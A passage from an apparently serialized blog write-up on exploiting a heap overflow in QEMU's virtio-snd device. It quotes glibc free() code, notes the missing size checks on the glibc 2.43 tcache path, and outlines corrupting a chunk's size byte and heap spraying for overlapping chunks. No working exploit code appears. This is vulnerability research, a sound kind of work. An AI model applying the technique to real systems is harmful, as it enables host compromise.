",{"type":24,"tag":135,"props":133536,"children":133538},{"className":133537},[],[133539],{"type":29,"value":133219},{"type":29,"value":133541}," is set, the process will almost certainly abort before we can make use of the corruption.",{"type":24,"tag":25,"props":133543,"children":133544},{},[133545,133547,133552,133554,133560],{"type":29,"value":133546},"Assuming ",{"type":24,"tag":135,"props":133548,"children":133550},{"className":133549},[],[133551],{"type":29,"value":133219},{"type":29,"value":133553}," is not set, execution continues into ",{"type":24,"tag":135,"props":133555,"children":133557},{"className":133556},[],[133558],{"type":29,"value":133559},"_int_free",{"type":29,"value":12210},{"type":24,"tag":261,"props":133562,"children":133564},{"code":133563,"language":578,"meta":7,"className":576,"style":7},"static void\n_int_free (mstate av, mchunkptr p, int have_lock)\n{\n INTERNAL_SIZE_T size;\n\n size = chunksize (p);\n\n /* Little security check which won't hurt performance: the\n allocator never wraps around at the end of the address space.\n Therefore we can exclude some size values which might appear\n here by accident or by \"design\" from some intruder. */\n if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)\n || __builtin_expect (misaligned_chunk (p), 0))\n malloc_printerr (\"free(): invalid pointer\");\n /* We know that each chunk is at least MINSIZE bytes in size or a\n multiple of MALLOC_ALIGNMENT. */\n if (__glibc_unlikely (size \u003C MINSIZE || !aligned_OK (size)))\n malloc_printerr (\"free(): invalid size\");\n\n check_inuse_chunk(av, p);\n\n [...]\n",[133565],{"type":24,"tag":135,"props":133566,"children":133567},{"__ignoreMap":7},[133568,133580,133623,133630,133638,133645,133666,133673,133681,133689,133697,133705,133769,133804,133825,133833,133841,133889,133909,133916,133929,133936],{"type":24,"tag":271,"props":133569,"children":133570},{"class":273,"line":274},[133571,133575],{"type":24,"tag":271,"props":133572,"children":133573},{"style":278},[133574],{"type":29,"value":590},{"type":24,"tag":271,"props":133576,"children":133577},{"style":278},[133578],{"type":29,"value":133579}," void\n",{"type":24,"tag":271,"props":133581,"children":133582},{"class":273,"line":284},[133583,133587,133592,133597,133602,133606,133610,133614,133619],{"type":24,"tag":271,"props":133584,"children":133585},{"style":598},[133586],{"type":29,"value":133559},{"type":24,"tag":271,"props":133588,"children":133589},{"style":288},[133590],{"type":29,"value":133591}," (mstate ",{"type":24,"tag":271,"props":133593,"children":133594},{"style":630},[133595],{"type":29,"value":133596},"av",{"type":24,"tag":271,"props":133598,"children":133599},{"style":288},[133600],{"type":29,"value":133601},", mchunkptr ",{"type":24,"tag":271,"props":133603,"children":133604},{"style":630},[133605],{"type":29,"value":25},{"type":24,"tag":271,"props":133607,"children":133608},{"style":288},[133609],{"type":29,"value":158},{"type":24,"tag":271,"props":133611,"children":133612},{"style":278},[133613],{"type":29,"value":3923},{"type":24,"tag":271,"props":133615,"children":133616},{"style":630},[133617],{"type":29,"value":133618}," have_lock",{"type":24,"tag":271,"props":133620,"children":133621},{"style":288},[133622],{"type":29,"value":694},{"type":24,"tag":271,"props":133624,"children":133625},{"class":273,"line":294},[133626],{"type":24,"tag":271,"props":133627,"children":133628},{"style":288},[133629],{"type":29,"value":702},{"type":24,"tag":271,"props":133631,"children":133632},{"class":273,"line":303},[133633],{"type":24,"tag":271,"props":133634,"children":133635},{"style":288},[133636],{"type":29,"value":133637}," INTERNAL_SIZE_T size;\n",{"type":24,"tag":271,"props":133639,"children":133640},{"class":273,"line":312},[133641],{"type":24,"tag":271,"props":133642,"children":133643},{"emptyLinePlaceholder":16},[133644],{"type":29,"value":327},{"type":24,"tag":271,"props":133646,"children":133647},{"class":273,"line":321},[133648,133653,133657,133662],{"type":24,"tag":271,"props":133649,"children":133650},{"style":288},[133651],{"type":29,"value":133652}," size ",{"type":24,"tag":271,"props":133654,"children":133655},{"style":624},[133656],{"type":29,"value":762},{"type":24,"tag":271,"props":133658,"children":133659},{"style":598},[133660],{"type":29,"value":133661}," chunksize",{"type":24,"tag":271,"props":133663,"children":133664},{"style":288},[133665],{"type":29,"value":133380},{"type":24,"tag":271,"props":133667,"children":133668},{"class":273,"line":330},[133669],{"type":24,"tag":271,"props":133670,"children":133671},{"emptyLinePlaceholder":16},[133672],{"type":29,"value":327},{"type":24,"tag":271,"props":133674,"children":133675},{"class":273,"line":339},[133676],{"type":24,"tag":271,"props":133677,"children":133678},{"style":2058},[133679],{"type":29,"value":133680}," /* Little security check which won't hurt performance: the\n",{"type":24,"tag":271,"props":133682,"children":133683},{"class":273,"line":347},[133684],{"type":24,"tag":271,"props":133685,"children":133686},{"style":2058},[133687],{"type":29,"value":133688}," allocator never wraps around at the end of the address space.\n",{"type":24,"tag":271,"props":133690,"children":133691},{"class":273,"line":356},[133692],{"type":24,"tag":271,"props":133693,"children":133694},{"style":2058},[133695],{"type":29,"value":133696}," Therefore we can exclude some size values which might appear\n",{"type":24,"tag":271,"props":133698,"children":133699},{"class":273,"line":365},[133700],{"type":24,"tag":271,"props":133701,"children":133702},{"style":2058},[133703],{"type":29,"value":133704}," here by accident or by \"design\" from some intruder. */\n",{"type":24,"tag":271,"props":133706,"children":133707},{"class":273,"line":374},[133708,133712,133716,133721,133726,133731,133736,133740,133744,133748,133752,133756,133761,133765],{"type":24,"tag":271,"props":133709,"children":133710},{"style":749},[133711],{"type":29,"value":956},{"type":24,"tag":271,"props":133713,"children":133714},{"style":288},[133715],{"type":29,"value":1357},{"type":24,"tag":271,"props":133717,"children":133718},{"style":598},[133719],{"type":29,"value":133720},"__builtin_expect",{"type":24,"tag":271,"props":133722,"children":133723},{"style":288},[133724],{"type":29,"value":133725}," ((",{"type":24,"tag":271,"props":133727,"children":133728},{"style":278},[133729],{"type":29,"value":133730},"uintptr_t",{"type":24,"tag":271,"props":133732,"children":133733},{"style":288},[133734],{"type":29,"value":133735},") p ",{"type":24,"tag":271,"props":133737,"children":133738},{"style":624},[133739],{"type":29,"value":18165},{"type":24,"tag":271,"props":133741,"children":133742},{"style":288},[133743],{"type":29,"value":1357},{"type":24,"tag":271,"props":133745,"children":133746},{"style":278},[133747],{"type":29,"value":133730},{"type":24,"tag":271,"props":133749,"children":133750},{"style":288},[133751],{"type":29,"value":8823},{"type":24,"tag":271,"props":133753,"children":133754},{"style":624},[133755],{"type":29,"value":9821},{"type":24,"tag":271,"props":133757,"children":133758},{"style":288},[133759],{"type":29,"value":133760},"size, ",{"type":24,"tag":271,"props":133762,"children":133763},{"style":477},[133764],{"type":29,"value":4121},{"type":24,"tag":271,"props":133766,"children":133767},{"style":288},[133768],{"type":29,"value":694},{"type":24,"tag":271,"props":133770,"children":133771},{"class":273,"line":384},[133772,133777,133782,133786,133791,133796,133800],{"type":24,"tag":271,"props":133773,"children":133774},{"style":624},[133775],{"type":29,"value":133776}," ||",{"type":24,"tag":271,"props":133778,"children":133779},{"style":598},[133780],{"type":29,"value":133781}," __builtin_expect",{"type":24,"tag":271,"props":133783,"children":133784},{"style":288},[133785],{"type":29,"value":1357},{"type":24,"tag":271,"props":133787,"children":133788},{"style":598},[133789],{"type":29,"value":133790},"misaligned_chunk",{"type":24,"tag":271,"props":133792,"children":133793},{"style":288},[133794],{"type":29,"value":133795}," (p), ",{"type":24,"tag":271,"props":133797,"children":133798},{"style":477},[133799],{"type":29,"value":4121},{"type":24,"tag":271,"props":133801,"children":133802},{"style":288},[133803],{"type":29,"value":27401},{"type":24,"tag":271,"props":133805,"children":133806},{"class":273,"line":393},[133807,133812,133816,133821],{"type":24,"tag":271,"props":133808,"children":133809},{"style":598},[133810],{"type":29,"value":133811}," malloc_printerr",{"type":24,"tag":271,"props":133813,"children":133814},{"style":288},[133815],{"type":29,"value":1357},{"type":24,"tag":271,"props":133817,"children":133818},{"style":378},[133819],{"type":29,"value":133820},"\"free(): invalid pointer\"",{"type":24,"tag":271,"props":133822,"children":133823},{"style":288},[133824],{"type":29,"value":1155},{"type":24,"tag":271,"props":133826,"children":133827},{"class":273,"line":402},[133828],{"type":24,"tag":271,"props":133829,"children":133830},{"style":2058},[133831],{"type":29,"value":133832}," /* We know that each chunk is at least MINSIZE bytes in size or a\n",{"type":24,"tag":271,"props":133834,"children":133835},{"class":273,"line":411},[133836],{"type":24,"tag":271,"props":133837,"children":133838},{"style":2058},[133839],{"type":29,"value":133840}," multiple of MALLOC_ALIGNMENT. */\n",{"type":24,"tag":271,"props":133842,"children":133843},{"class":273,"line":420},[133844,133848,133852,133857,133862,133866,133871,133875,133879,133884],{"type":24,"tag":271,"props":133845,"children":133846},{"style":749},[133847],{"type":29,"value":956},{"type":24,"tag":271,"props":133849,"children":133850},{"style":288},[133851],{"type":29,"value":1357},{"type":24,"tag":271,"props":133853,"children":133854},{"style":598},[133855],{"type":29,"value":133856},"__glibc_unlikely",{"type":24,"tag":271,"props":133858,"children":133859},{"style":288},[133860],{"type":29,"value":133861}," (size ",{"type":24,"tag":271,"props":133863,"children":133864},{"style":624},[133865],{"type":29,"value":801},{"type":24,"tag":271,"props":133867,"children":133868},{"style":288},[133869],{"type":29,"value":133870}," MINSIZE ",{"type":24,"tag":271,"props":133872,"children":133873},{"style":624},[133874],{"type":29,"value":30104},{"type":24,"tag":271,"props":133876,"children":133877},{"style":624},[133878],{"type":29,"value":20564},{"type":24,"tag":271,"props":133880,"children":133881},{"style":598},[133882],{"type":29,"value":133883},"aligned_OK",{"type":24,"tag":271,"props":133885,"children":133886},{"style":288},[133887],{"type":29,"value":133888}," (size)))\n",{"type":24,"tag":271,"props":133890,"children":133891},{"class":273,"line":429},[133892,133896,133900,133905],{"type":24,"tag":271,"props":133893,"children":133894},{"style":598},[133895],{"type":29,"value":133811},{"type":24,"tag":271,"props":133897,"children":133898},{"style":288},[133899],{"type":29,"value":1357},{"type":24,"tag":271,"props":133901,"children":133902},{"style":378},[133903],{"type":29,"value":133904},"\"free(): invalid size\"",{"type":24,"tag":271,"props":133906,"children":133907},{"style":288},[133908],{"type":29,"value":1155},{"type":24,"tag":271,"props":133910,"children":133911},{"class":273,"line":438},[133912],{"type":24,"tag":271,"props":133913,"children":133914},{"emptyLinePlaceholder":16},[133915],{"type":29,"value":327},{"type":24,"tag":271,"props":133917,"children":133918},{"class":273,"line":447},[133919,133924],{"type":24,"tag":271,"props":133920,"children":133921},{"style":598},[133922],{"type":29,"value":133923}," check_inuse_chunk",{"type":24,"tag":271,"props":133925,"children":133926},{"style":288},[133927],{"type":29,"value":133928},"(av, p);\n",{"type":24,"tag":271,"props":133930,"children":133931},{"class":273,"line":455},[133932],{"type":24,"tag":271,"props":133933,"children":133934},{"emptyLinePlaceholder":16},[133935],{"type":29,"value":327},{"type":24,"tag":271,"props":133937,"children":133938},{"class":273,"line":464},[133939],{"type":24,"tag":271,"props":133940,"children":133941},{"style":288},[133942],{"type":29,"value":133943}," [...]\n",{"type":24,"tag":25,"props":133945,"children":133946},{},[133947],{"type":29,"value":133948},"The first check verifies that the chunk pointer itself is not misaligned. Since we do not control the pointer, this is not particularly relevant here.",{"type":24,"tag":25,"props":133950,"children":133951},{},[133952,133954,133959,133961,133966,133968,133973,133975,133980],{"type":29,"value":133953},"The next check, however, ensures that the ",{"type":24,"tag":135,"props":133955,"children":133957},{"className":133956},[],[133958],{"type":29,"value":131050},{"type":29,"value":133960}," field is 16-byte aligned. This means that the low byte we overwrite in ",{"type":24,"tag":135,"props":133962,"children":133964},{"className":133963},[],[133965],{"type":29,"value":131050},{"type":29,"value":133967}," must preserve alignment while also avoiding the ",{"type":24,"tag":135,"props":133969,"children":133971},{"className":133970},[],[133972],{"type":29,"value":133219},{"type":29,"value":133974}," bit. Under those constraints, exploiting the bug through ",{"type":24,"tag":135,"props":133976,"children":133978},{"className":133977},[],[133979],{"type":29,"value":131050},{"type":29,"value":133981}," corruption looked very unreliable at first.",{"type":24,"tag":25,"props":133983,"children":133984},{},[133985],{"type":29,"value":133986},"Still, we wanted to check how this behaved in the latest glibc 2.43:",{"type":24,"tag":261,"props":133988,"children":133990},{"code":133989,"language":578,"meta":7,"className":576,"style":7},"void\n__libc_free (void *mem)\n{\n mchunkptr p;\n\n p = mem2chunk (mem);\n\n INTERNAL_SIZE_T size = chunksize (p);\n\n if (__glibc_unlikely (misaligned_chunk (p)))\n return malloc_printerr_tail (\"free(): invalid pointer\");\n\n#if USE_TCACHE\n if (__glibc_likely (size \u003C mp_.tcache_max_bytes))\n {\n [...]\n\n return tcache_put (p, tc_idx);\n }\n",[133991],{"type":24,"tag":135,"props":133992,"children":133993},{"__ignoreMap":7},[133994,134002,134029,134036,134043,134050,134069,134076,134096,134103,134131,134155,134162,134175,134217,134224,134232,134239,134256],{"type":24,"tag":271,"props":133995,"children":133996},{"class":273,"line":274},[133997],{"type":24,"tag":271,"props":133998,"children":133999},{"style":278},[134000],{"type":29,"value":134001},"void\n",{"type":24,"tag":271,"props":134003,"children":134004},{"class":273,"line":284},[134005,134009,134013,134017,134021,134025],{"type":24,"tag":271,"props":134006,"children":134007},{"style":598},[134008],{"type":29,"value":133267},{"type":24,"tag":271,"props":134010,"children":134011},{"style":288},[134012],{"type":29,"value":1357},{"type":24,"tag":271,"props":134014,"children":134015},{"style":278},[134016],{"type":29,"value":1205},{"type":24,"tag":271,"props":134018,"children":134019},{"style":624},[134020],{"type":29,"value":3895},{"type":24,"tag":271,"props":134022,"children":134023},{"style":630},[134024],{"type":29,"value":48330},{"type":24,"tag":271,"props":134026,"children":134027},{"style":288},[134028],{"type":29,"value":694},{"type":24,"tag":271,"props":134030,"children":134031},{"class":273,"line":294},[134032],{"type":24,"tag":271,"props":134033,"children":134034},{"style":288},[134035],{"type":29,"value":702},{"type":24,"tag":271,"props":134037,"children":134038},{"class":273,"line":303},[134039],{"type":24,"tag":271,"props":134040,"children":134041},{"style":288},[134042],{"type":29,"value":133310},{"type":24,"tag":271,"props":134044,"children":134045},{"class":273,"line":312},[134046],{"type":24,"tag":271,"props":134047,"children":134048},{"emptyLinePlaceholder":16},[134049],{"type":29,"value":327},{"type":24,"tag":271,"props":134051,"children":134052},{"class":273,"line":321},[134053,134057,134061,134065],{"type":24,"tag":271,"props":134054,"children":134055},{"style":288},[134056],{"type":29,"value":133325},{"type":24,"tag":271,"props":134058,"children":134059},{"style":624},[134060],{"type":29,"value":762},{"type":24,"tag":271,"props":134062,"children":134063},{"style":598},[134064],{"type":29,"value":133334},{"type":24,"tag":271,"props":134066,"children":134067},{"style":288},[134068],{"type":29,"value":133339},{"type":24,"tag":271,"props":134070,"children":134071},{"class":273,"line":330},[134072],{"type":24,"tag":271,"props":134073,"children":134074},{"emptyLinePlaceholder":16},[134075],{"type":29,"value":327},{"type":24,"tag":271,"props":134077,"children":134078},{"class":273,"line":339},[134079,134084,134088,134092],{"type":24,"tag":271,"props":134080,"children":134081},{"style":288},[134082],{"type":29,"value":134083}," INTERNAL_SIZE_T size ",{"type":24,"tag":271,"props":134085,"children":134086},{"style":624},[134087],{"type":29,"value":762},{"type":24,"tag":271,"props":134089,"children":134090},{"style":598},[134091],{"type":29,"value":133661},{"type":24,"tag":271,"props":134093,"children":134094},{"style":288},[134095],{"type":29,"value":133380},{"type":24,"tag":271,"props":134097,"children":134098},{"class":273,"line":347},[134099],{"type":24,"tag":271,"props":134100,"children":134101},{"emptyLinePlaceholder":16},[134102],{"type":29,"value":327},{"type":24,"tag":271,"props":134104,"children":134105},{"class":273,"line":356},[134106,134110,134114,134118,134122,134126],{"type":24,"tag":271,"props":134107,"children":134108},{"style":749},[134109],{"type":29,"value":956},{"type":24,"tag":271,"props":134111,"children":134112},{"style":288},[134113],{"type":29,"value":1357},{"type":24,"tag":271,"props":134115,"children":134116},{"style":598},[134117],{"type":29,"value":133856},{"type":24,"tag":271,"props":134119,"children":134120},{"style":288},[134121],{"type":29,"value":1357},{"type":24,"tag":271,"props":134123,"children":134124},{"style":598},[134125],{"type":29,"value":133790},{"type":24,"tag":271,"props":134127,"children":134128},{"style":288},[134129],{"type":29,"value":134130}," (p)))\n",{"type":24,"tag":271,"props":134132,"children":134133},{"class":273,"line":365},[134134,134138,134143,134147,134151],{"type":24,"tag":271,"props":134135,"children":134136},{"style":749},[134137],{"type":29,"value":9640},{"type":24,"tag":271,"props":134139,"children":134140},{"style":598},[134141],{"type":29,"value":134142}," malloc_printerr_tail",{"type":24,"tag":271,"props":134144,"children":134145},{"style":288},[134146],{"type":29,"value":1357},{"type":24,"tag":271,"props":134148,"children":134149},{"style":378},[134150],{"type":29,"value":133820},{"type":24,"tag":271,"props":134152,"children":134153},{"style":288},[134154],{"type":29,"value":1155},{"type":24,"tag":271,"props":134156,"children":134157},{"class":273,"line":374},[134158],{"type":24,"tag":271,"props":134159,"children":134160},{"emptyLinePlaceholder":16},[134161],{"type":29,"value":327},{"type":24,"tag":271,"props":134163,"children":134164},{"class":273,"line":384},[134165,134170],{"type":24,"tag":271,"props":134166,"children":134167},{"style":749},[134168],{"type":29,"value":134169},"#if",{"type":24,"tag":271,"props":134171,"children":134172},{"style":598},[134173],{"type":29,"value":134174}," USE_TCACHE\n",{"type":24,"tag":271,"props":134176,"children":134177},{"class":273,"line":393},[134178,134182,134186,134191,134195,134199,134204,134208,134213],{"type":24,"tag":271,"props":134179,"children":134180},{"style":749},[134181],{"type":29,"value":956},{"type":24,"tag":271,"props":134183,"children":134184},{"style":288},[134185],{"type":29,"value":1357},{"type":24,"tag":271,"props":134187,"children":134188},{"style":598},[134189],{"type":29,"value":134190},"__glibc_likely",{"type":24,"tag":271,"props":134192,"children":134193},{"style":288},[134194],{"type":29,"value":133861},{"type":24,"tag":271,"props":134196,"children":134197},{"style":624},[134198],{"type":29,"value":801},{"type":24,"tag":271,"props":134200,"children":134201},{"style":630},[134202],{"type":29,"value":134203}," mp_",{"type":24,"tag":271,"props":134205,"children":134206},{"style":288},[134207],{"type":29,"value":41},{"type":24,"tag":271,"props":134209,"children":134210},{"style":630},[134211],{"type":29,"value":134212},"tcache_max_bytes",{"type":24,"tag":271,"props":134214,"children":134215},{"style":288},[134216],{"type":29,"value":27401},{"type":24,"tag":271,"props":134218,"children":134219},{"class":273,"line":402},[134220],{"type":24,"tag":271,"props":134221,"children":134222},{"style":288},[134223],{"type":29,"value":4203},{"type":24,"tag":271,"props":134225,"children":134226},{"class":273,"line":411},[134227],{"type":24,"tag":271,"props":134228,"children":134229},{"style":288},[134230],{"type":29,"value":134231}," [...]\n",{"type":24,"tag":271,"props":134233,"children":134234},{"class":273,"line":420},[134235],{"type":24,"tag":271,"props":134236,"children":134237},{"emptyLinePlaceholder":16},[134238],{"type":29,"value":327},{"type":24,"tag":271,"props":134240,"children":134241},{"class":273,"line":429},[134242,134246,134251],{"type":24,"tag":271,"props":134243,"children":134244},{"style":749},[134245],{"type":29,"value":47024},{"type":24,"tag":271,"props":134247,"children":134248},{"style":598},[134249],{"type":29,"value":134250}," tcache_put",{"type":24,"tag":271,"props":134252,"children":134253},{"style":288},[134254],{"type":29,"value":134255}," (p, tc_idx);\n",{"type":24,"tag":271,"props":134257,"children":134258},{"class":273,"line":438},[134259],{"type":24,"tag":271,"props":134260,"children":134261},{"style":288},[134262],{"type":29,"value":4385},{"type":24,"tag":25,"props":134264,"children":134265},{},[134266,134268,134273],{"type":29,"value":134267},"It is easy to notice that, when taking the tcache path, there are essentially no integrity checks on the ",{"type":24,"tag":135,"props":134269,"children":134271},{"className":134270},[],[134272],{"type":29,"value":131050},{"type":29,"value":134274}," field beyond the basic size-range decision needed to determine whether the chunk fits into tcache. The only explicit check here is that the pointer itself is aligned, which is not something we care about.",{"type":24,"tag":25,"props":134276,"children":134277},{},[134278,134280,134286,134287,134292],{"type":29,"value":134279},"In fact, even the version prior to 2.43 still performed more validation on the tcache path by calling ",{"type":24,"tag":135,"props":134281,"children":134283},{"className":134282},[],[134284],{"type":29,"value":134285},"check_inuse_chunk",{"type":29,"value":1357},{"type":24,"tag":135,"props":134288,"children":134290},{"className":134289},[],[134291],{"type":29,"value":131178},{"type":29,"value":31621},{"type":24,"tag":261,"props":134294,"children":134296},{"code":134295,"language":578,"meta":7,"className":576,"style":7},"void\n__libc_free (void *mem)\n{\n mchunkptr p;\n\n p = mem2chunk (mem);\n\n INTERNAL_SIZE_T size = chunksize (p);\n\n if (__glibc_unlikely (misaligned_chunk (p)))\n return malloc_printerr_tail (\"free(): invalid pointer\");\n\n check_inuse_chunk (arena_for_chunk (p), p); // [1]\n\n#if USE_TCACHE\n if (__glibc_likely (size \u003C mp_.tcache_max_bytes && tcache != NULL))\n [...]\n",[134297],{"type":24,"tag":135,"props":134298,"children":134299},{"__ignoreMap":7},[134300,134307,134334,134341,134348,134355,134374,134381,134400,134407,134434,134457,134464,134490,134497,134508,134565],{"type":24,"tag":271,"props":134301,"children":134302},{"class":273,"line":274},[134303],{"type":24,"tag":271,"props":134304,"children":134305},{"style":278},[134306],{"type":29,"value":134001},{"type":24,"tag":271,"props":134308,"children":134309},{"class":273,"line":284},[134310,134314,134318,134322,134326,134330],{"type":24,"tag":271,"props":134311,"children":134312},{"style":598},[134313],{"type":29,"value":133267},{"type":24,"tag":271,"props":134315,"children":134316},{"style":288},[134317],{"type":29,"value":1357},{"type":24,"tag":271,"props":134319,"children":134320},{"style":278},[134321],{"type":29,"value":1205},{"type":24,"tag":271,"props":134323,"children":134324},{"style":624},[134325],{"type":29,"value":3895},{"type":24,"tag":271,"props":134327,"children":134328},{"style":630},[134329],{"type":29,"value":48330},{"type":24,"tag":271,"props":134331,"children":134332},{"style":288},[134333],{"type":29,"value":694},{"type":24,"tag":271,"props":134335,"children":134336},{"class":273,"line":294},[134337],{"type":24,"tag":271,"props":134338,"children":134339},{"style":288},[134340],{"type":29,"value":702},{"type":24,"tag":271,"props":134342,"children":134343},{"class":273,"line":303},[134344],{"type":24,"tag":271,"props":134345,"children":134346},{"style":288},[134347],{"type":29,"value":133310},{"type":24,"tag":271,"props":134349,"children":134350},{"class":273,"line":312},[134351],{"type":24,"tag":271,"props":134352,"children":134353},{"emptyLinePlaceholder":16},[134354],{"type":29,"value":327},{"type":24,"tag":271,"props":134356,"children":134357},{"class":273,"line":321},[134358,134362,134366,134370],{"type":24,"tag":271,"props":134359,"children":134360},{"style":288},[134361],{"type":29,"value":133325},{"type":24,"tag":271,"props":134363,"children":134364},{"style":624},[134365],{"type":29,"value":762},{"type":24,"tag":271,"props":134367,"children":134368},{"style":598},[134369],{"type":29,"value":133334},{"type":24,"tag":271,"props":134371,"children":134372},{"style":288},[134373],{"type":29,"value":133339},{"type":24,"tag":271,"props":134375,"children":134376},{"class":273,"line":330},[134377],{"type":24,"tag":271,"props":134378,"children":134379},{"emptyLinePlaceholder":16},[134380],{"type":29,"value":327},{"type":24,"tag":271,"props":134382,"children":134383},{"class":273,"line":339},[134384,134388,134392,134396],{"type":24,"tag":271,"props":134385,"children":134386},{"style":288},[134387],{"type":29,"value":134083},{"type":24,"tag":271,"props":134389,"children":134390},{"style":624},[134391],{"type":29,"value":762},{"type":24,"tag":271,"props":134393,"children":134394},{"style":598},[134395],{"type":29,"value":133661},{"type":24,"tag":271,"props":134397,"children":134398},{"style":288},[134399],{"type":29,"value":133380},{"type":24,"tag":271,"props":134401,"children":134402},{"class":273,"line":347},[134403],{"type":24,"tag":271,"props":134404,"children":134405},{"emptyLinePlaceholder":16},[134406],{"type":29,"value":327},{"type":24,"tag":271,"props":134408,"children":134409},{"class":273,"line":356},[134410,134414,134418,134422,134426,134430],{"type":24,"tag":271,"props":134411,"children":134412},{"style":749},[134413],{"type":29,"value":956},{"type":24,"tag":271,"props":134415,"children":134416},{"style":288},[134417],{"type":29,"value":1357},{"type":24,"tag":271,"props":134419,"children":134420},{"style":598},[134421],{"type":29,"value":133856},{"type":24,"tag":271,"props":134423,"children":134424},{"style":288},[134425],{"type":29,"value":1357},{"type":24,"tag":271,"props":134427,"children":134428},{"style":598},[134429],{"type":29,"value":133790},{"type":24,"tag":271,"props":134431,"children":134432},{"style":288},[134433],{"type":29,"value":134130},{"type":24,"tag":271,"props":134435,"children":134436},{"class":273,"line":365},[134437,134441,134445,134449,134453],{"type":24,"tag":271,"props":134438,"children":134439},{"style":749},[134440],{"type":29,"value":9640},{"type":24,"tag":271,"props":134442,"children":134443},{"style":598},[134444],{"type":29,"value":134142},{"type":24,"tag":271,"props":134446,"children":134447},{"style":288},[134448],{"type":29,"value":1357},{"type":24,"tag":271,"props":134450,"children":134451},{"style":378},[134452],{"type":29,"value":133820},{"type":24,"tag":271,"props":134454,"children":134455},{"style":288},[134456],{"type":29,"value":1155},{"type":24,"tag":271,"props":134458,"children":134459},{"class":273,"line":374},[134460],{"type":24,"tag":271,"props":134461,"children":134462},{"emptyLinePlaceholder":16},[134463],{"type":29,"value":327},{"type":24,"tag":271,"props":134465,"children":134466},{"class":273,"line":384},[134467,134471,134475,134480,134485],{"type":24,"tag":271,"props":134468,"children":134469},{"style":598},[134470],{"type":29,"value":133923},{"type":24,"tag":271,"props":134472,"children":134473},{"style":288},[134474],{"type":29,"value":1357},{"type":24,"tag":271,"props":134476,"children":134477},{"style":598},[134478],{"type":29,"value":134479},"arena_for_chunk",{"type":24,"tag":271,"props":134481,"children":134482},{"style":288},[134483],{"type":29,"value":134484}," (p), p);",{"type":24,"tag":271,"props":134486,"children":134487},{"style":2058},[134488],{"type":29,"value":134489}," // [1]\n",{"type":24,"tag":271,"props":134491,"children":134492},{"class":273,"line":393},[134493],{"type":24,"tag":271,"props":134494,"children":134495},{"emptyLinePlaceholder":16},[134496],{"type":29,"value":327},{"type":24,"tag":271,"props":134498,"children":134499},{"class":273,"line":402},[134500,134504],{"type":24,"tag":271,"props":134501,"children":134502},{"style":749},[134503],{"type":29,"value":134169},{"type":24,"tag":271,"props":134505,"children":134506},{"style":598},[134507],{"type":29,"value":134174},{"type":24,"tag":271,"props":134509,"children":134510},{"class":273,"line":411},[134511,134515,134519,134523,134527,134531,134535,134539,134543,134547,134552,134556,134561],{"type":24,"tag":271,"props":134512,"children":134513},{"style":749},[134514],{"type":29,"value":956},{"type":24,"tag":271,"props":134516,"children":134517},{"style":288},[134518],{"type":29,"value":1357},{"type":24,"tag":271,"props":134520,"children":134521},{"style":598},[134522],{"type":29,"value":134190},{"type":24,"tag":271,"props":134524,"children":134525},{"style":288},[134526],{"type":29,"value":133861},{"type":24,"tag":271,"props":134528,"children":134529},{"style":624},[134530],{"type":29,"value":801},{"type":24,"tag":271,"props":134532,"children":134533},{"style":630},[134534],{"type":29,"value":134203},{"type":24,"tag":271,"props":134536,"children":134537},{"style":288},[134538],{"type":29,"value":41},{"type":24,"tag":271,"props":134540,"children":134541},{"style":630},[134542],{"type":29,"value":134212},{"type":24,"tag":271,"props":134544,"children":134545},{"style":624},[134546],{"type":29,"value":989},{"type":24,"tag":271,"props":134548,"children":134549},{"style":288},[134550],{"type":29,"value":134551}," tcache ",{"type":24,"tag":271,"props":134553,"children":134554},{"style":624},[134555],{"type":29,"value":23386},{"type":24,"tag":271,"props":134557,"children":134558},{"style":278},[134559],{"type":29,"value":134560}," NULL",{"type":24,"tag":271,"props":134562,"children":134563},{"style":288},[134564],{"type":29,"value":27401},{"type":24,"tag":271,"props":134566,"children":134567},{"class":273,"line":420},[134568],{"type":24,"tag":271,"props":134569,"children":134570},{"style":288},[134571],{"type":29,"value":133943},{"type":24,"tag":25,"props":134573,"children":134574},{},[134575,134577,134582],{"type":29,"value":134576},"This means that as long as we can reliably force the corrupted chunk down the tcache path, we no longer need to worry much about integrity checks on ",{"type":24,"tag":135,"props":134578,"children":134580},{"className":134579},[],[134581],{"type":29,"value":131050},{"type":29,"value":134583},", because on the latest 2.43 glibc they are non-existent.",{"type":24,"tag":26485,"props":134585,"children":134586},{},[],{"type":24,"tag":25,"props":134588,"children":134589},{},[134590,134592,134597,134599,134605,134607,134612,134614,134620],{"type":29,"value":134591},"With that in mind, the idea we settled on was to allocate a chunk whose ",{"type":24,"tag":135,"props":134593,"children":134595},{"className":134594},[],[134596],{"type":29,"value":131050},{"type":29,"value":134598}," field was initially ",{"type":24,"tag":135,"props":134600,"children":134602},{"className":134601},[],[134603],{"type":29,"value":134604},"0x200",{"type":29,"value":134606},", then trigger the overflow and corrupt only its low byte. If the byte written is at least ",{"type":24,"tag":135,"props":134608,"children":134610},{"className":134609},[],[134611],{"type":29,"value":133227},{"type":29,"value":134613},", the resulting value would correspond to a larger, tcache-eligible, size in range ",{"type":24,"tag":135,"props":134615,"children":134617},{"className":134616},[],[134618],{"type":29,"value":134619},"[0x210, 0x2f0]",{"type":29,"value":134621},". That would let us free the chunk as an oversized entry into the tcache freelist, which we could later reclaim and overlap chunks for a better primitive.",{"type":24,"tag":25,"props":134623,"children":134624},{},[134625],{"type":29,"value":134626},"This approach gives us much better odds of success. In fact, with the stream configuration we use later, we can make this behavior reliable enough to exploit consistently.",{"type":24,"tag":85,"props":134628,"children":134630},{"id":134629},"heap-spraying",[134631],{"type":29,"value":134632},"Heap Spraying",{"type":24,"tag":25,"props":134634,"children":134635},{},[134636,134638,134643],{"type":29,"value":134637},"With that idea in mind, we now need a way to shape the heap so that a ",{"type":24,"tag":135,"props":134639,"children":134641},{"className":134640},[],[134642],{"type":29,"value":134604},{"type":29,"value":134644},"-sized chunk is placed immediately after the vulnerable virtio-snd buffer. In addition, we need to drain any existing entries from the relevant tcache freelist so that it is not full when we later free the corrupted oversized chunk.",{"type":24,"tag":25,"props":134646,"children":134647},{},[134648,134650,134655],{"type":29,"value":134649},"Unfortunately, while virtio-snd does provide some heap spraying primitives through its buffer allocations, they are fairly limited. For example, we could only allocate up to 64 buffers at a time. On top of that, ",{"type":24,"tag":135,"props":134651,"children":134653},{"className":134652},[],[134654],{"type":29,"value":131245},{"type":29,"value":134656}," is a FIFO queue, so we could not control the order in which those buffers were freed - they would always be released in the same order they were inserted.",{"type":24,"tag":25,"props":134658,"children":134659},{},[134660],{"type":29,"value":134661},"For the purposes of this 